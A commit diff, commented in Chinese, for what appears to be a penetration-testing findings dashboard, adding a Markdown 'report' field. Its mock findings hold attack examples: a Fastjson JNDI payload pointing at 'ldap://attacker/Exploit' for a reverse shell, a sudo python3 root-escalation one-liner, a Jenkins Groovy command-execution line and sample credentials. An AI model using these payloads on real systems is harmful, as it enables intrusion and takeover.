feat: finding 增加详细报告字段 report(Markdown),详情页证据下方渲染

- findings 表加 report 列(TEXT 默认空,schema + ALTER 补旧库)
- 仅 GetFinding 查 report,列表/分页不带以免 payload 膨胀;FindingDTO.report omitempty
- 详情页「概览」证据卡下方新增「详细报告」卡,复用 <Markdown> 组件渲染,空时占位提示
- 前端 Finding.report? 类型;mock 单条 GET 返回 report、列表剥掉,并给 f-12 加示例报告
- 字段先留空,后续由写入方填充;db 测试补 report 往返断言

next build 通过。
This commit is contained in:
Autumn-27 committed 2026-08-18 11:52:34 -04:00
1 parent 64d9c66f6a
commit 8092167ae5
8 files changed
+65 -24

No files matched your search

@@ -18,6 +18,7 @@ import {
SelectTrigger,
} from "@/components/ui/select";
import { StatusBadge } from "@/components/status-badge";
import { Markdown } from "@/components/markdown";
import { statusMeta } from "@/lib/status";
import { api } from "@/lib/api";
import type { Finding, FindingStatus, Severity } from "@/lib/types";
@@ -197,6 +198,21 @@ function FindingDetailInner() {
)}
</CardContent>
</Card>
{/* 证据下方:详细报告(Markdown 渲染) */}
<Card>
<CardHeader>
<CardTitle className="text-sm">详细报告</CardTitle>
</CardHeader>
<CardContent>
{finding.report ? (
<Markdown text={finding.report} />
) : (
<p className="text-sm text-muted-foreground">
暂无详细报告。
</p>
)}
</CardContent>
</Card>
</div>
{/* 右栏:状态区 */}
+1 -1
View File
@@ -173,7 +173,7 @@ export const findings: Finding[] = [
{ id: "f-10", vulnclass: "Outdated Component", severity: "medium", status: "pending", summary: "shop 使用存在已知 RCE 的老版本组件", evidence: "指纹识别到组件 v2.3.1,对应 CVE-2024-xxxx 反序列化 RCE。", task_id: "t-shop-pay", task_description: "shop.acme.com 支付与订单链路", ts: T("2026-07-23T15:00:00Z") },
// ── 外网→内网纵深链路上的高危发现(active task)──
{ id: "f-11", vulnclass: "Hardcoded Credentials", severity: "high", status: "pending", summary: "泄露源码中硬编码数据库凭据 sa/Acme@2021", evidence: "git-dumper 还原 www.acme.com/.git 得到 config.php,内含明文 DB 口令,后续被证实可在内网复用。", intent_id: "ig", task_id: "t-acme-web", task_description: "Acme 官网与后台外部渗透", ts: T("2026-07-25T20:36:00Z") },
{ id: "f-12", vulnclass: "Deserialization RCE", name: "shop 商城 Fastjson 反序列化远程命令执行", severity: "critical", status: "confirmed", summary: "shop.acme.com Fastjson 1.2.24 反序列化远程命令执行", evidence: "POST /api/import 提交 JNDI payload(@type:JdbcRowSetImpl)→ 回连 dnslog 并落地反弹 shell(www-data@dmz-web01)。", intent_id: "i7", task_id: "t-acme-web", task_description: "Acme 官网与后台外部渗透", ts: T("2026-07-25T15:40:00Z") },
{ id: "f-12", vulnclass: "Deserialization RCE", name: "shop 商城 Fastjson 反序列化远程命令执行", severity: "critical", status: "confirmed", report: "## 漏洞概述\n\n`shop.acme.com` 的 `/api/import` 接口使用 **Fastjson 1.2.24** 解析用户可控 JSON,未开启 `safeMode`,可通过 `@type` 指定任意类触发 **JNDI 注入 → 远程命令执行**。\n\n## 影响\n\n- 攻击者无需认证即可在 DMZ Web 服务器上执行任意命令(`www-data@dmz-web01`)\n- 结合后续提权,成为进入内网的跳板\n\n## 复现步骤\n\n1. 构造 JNDI payload:\n\n```json\n{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://attacker/Exploit\",\"autoCommit\":true}\n```\n\n2. `POST /api/import`,`Content-Type: application/json`\n3. 目标回连 dnslog,落地反弹 shell\n\n## 修复建议\n\n- 升级 Fastjson 至 **1.2.83+** 并开启 `safeMode`\n- `/api/import` 增加鉴权与来源校验\n- 出网限制:禁止业务服务器主动外联 LDAP/RMI\n", summary: "shop.acme.com Fastjson 1.2.24 反序列化远程命令执行", evidence: "POST /api/import 提交 JNDI payload(@type:JdbcRowSetImpl)→ 回连 dnslog 并落地反弹 shell(www-data@dmz-web01)。", intent_id: "i7", task_id: "t-acme-web", task_description: "Acme 官网与后台外部渗透", ts: T("2026-07-25T15:40:00Z") },
{ id: "f-13", vulnclass: "Privilege Escalation", severity: "high", status: "pending", summary: "DMZ 立足点 sudo NOPASSWD 错配可本地提权 root", evidence: "sudo -l 显示 (ALL) NOPASSWD: /usr/bin/python3 → sudo python3 -c 'os.setuid(0);os.system(\"/bin/sh\")' 直接拿 root。", intent_id: "i8", task_id: "t-acme-web", task_description: "Acme 官网与后台外部渗透", ts: T("2026-07-25T16:20:00Z") },
{ id: "f-14", vulnclass: "Network Segmentation", severity: "medium", status: "pending", summary: "DMZ 主机双网卡直连内网,边界隔离失效", evidence: "dmz-web01 第二网卡在 10.10.10.0/24,可从 DMZ 直达域控/文件服务器/Jenkins,越过网络分区。", intent_id: "i9", task_id: "t-acme-web", task_description: "Acme 官网与后台外部渗透", ts: T("2026-07-25T21:00:00Z") },
{ id: "f-15", vulnclass: "Unauthenticated RCE", severity: "high", status: "pending", summary: "内部 Jenkins 未授权 Script Console 远程命令执行", evidence: "GET /script 无需登录即可执行 Groovy:'whoami'.execute().text → SYSTEM;并从凭据库导出域账号 acme\\svc_deploy。", intent_id: "i11", task_id: "t-acme-web", task_description: "Acme 官网与后台外部渗透", ts: T("2026-07-25T21:50:00Z") },
+6 -1
View File
@@ -103,7 +103,12 @@ function route(m: string, path: string, seg: string[], q: URLSearchParams, b: Re
}
if (path === "/exploration/findings") {
// finding_id=id:真后端用独立表行 id 作为状态/详情句柄,mock 里用自身 id 顶上。
const withFid = (f: (typeof D.findings)[number]) => ({ ...f, finding_id: f.id });
// report 仅详情接口返回,列表剥掉(与后端一致)。
const withFid = (f: (typeof D.findings)[number]) => ({
...f,
report: undefined,
finding_id: f.id,
});
if (task) return D.findings.filter((f) => f.task_id === task).map(withFid);
// 全局:带 page/limit → 分页对象;否则裸数组(dashboard)。
if (!q.has("page") && !q.has("limit")) return D.findings.map(withFid);
+1
View File
@@ -266,6 +266,7 @@ export interface Finding {
status: FindingStatus;
summary: string;
evidence: string;
report?: string; // 详细报告(Markdown);仅详情接口返回,列表为空
intent_id?: string;
param_id?: string;
task_id?: string;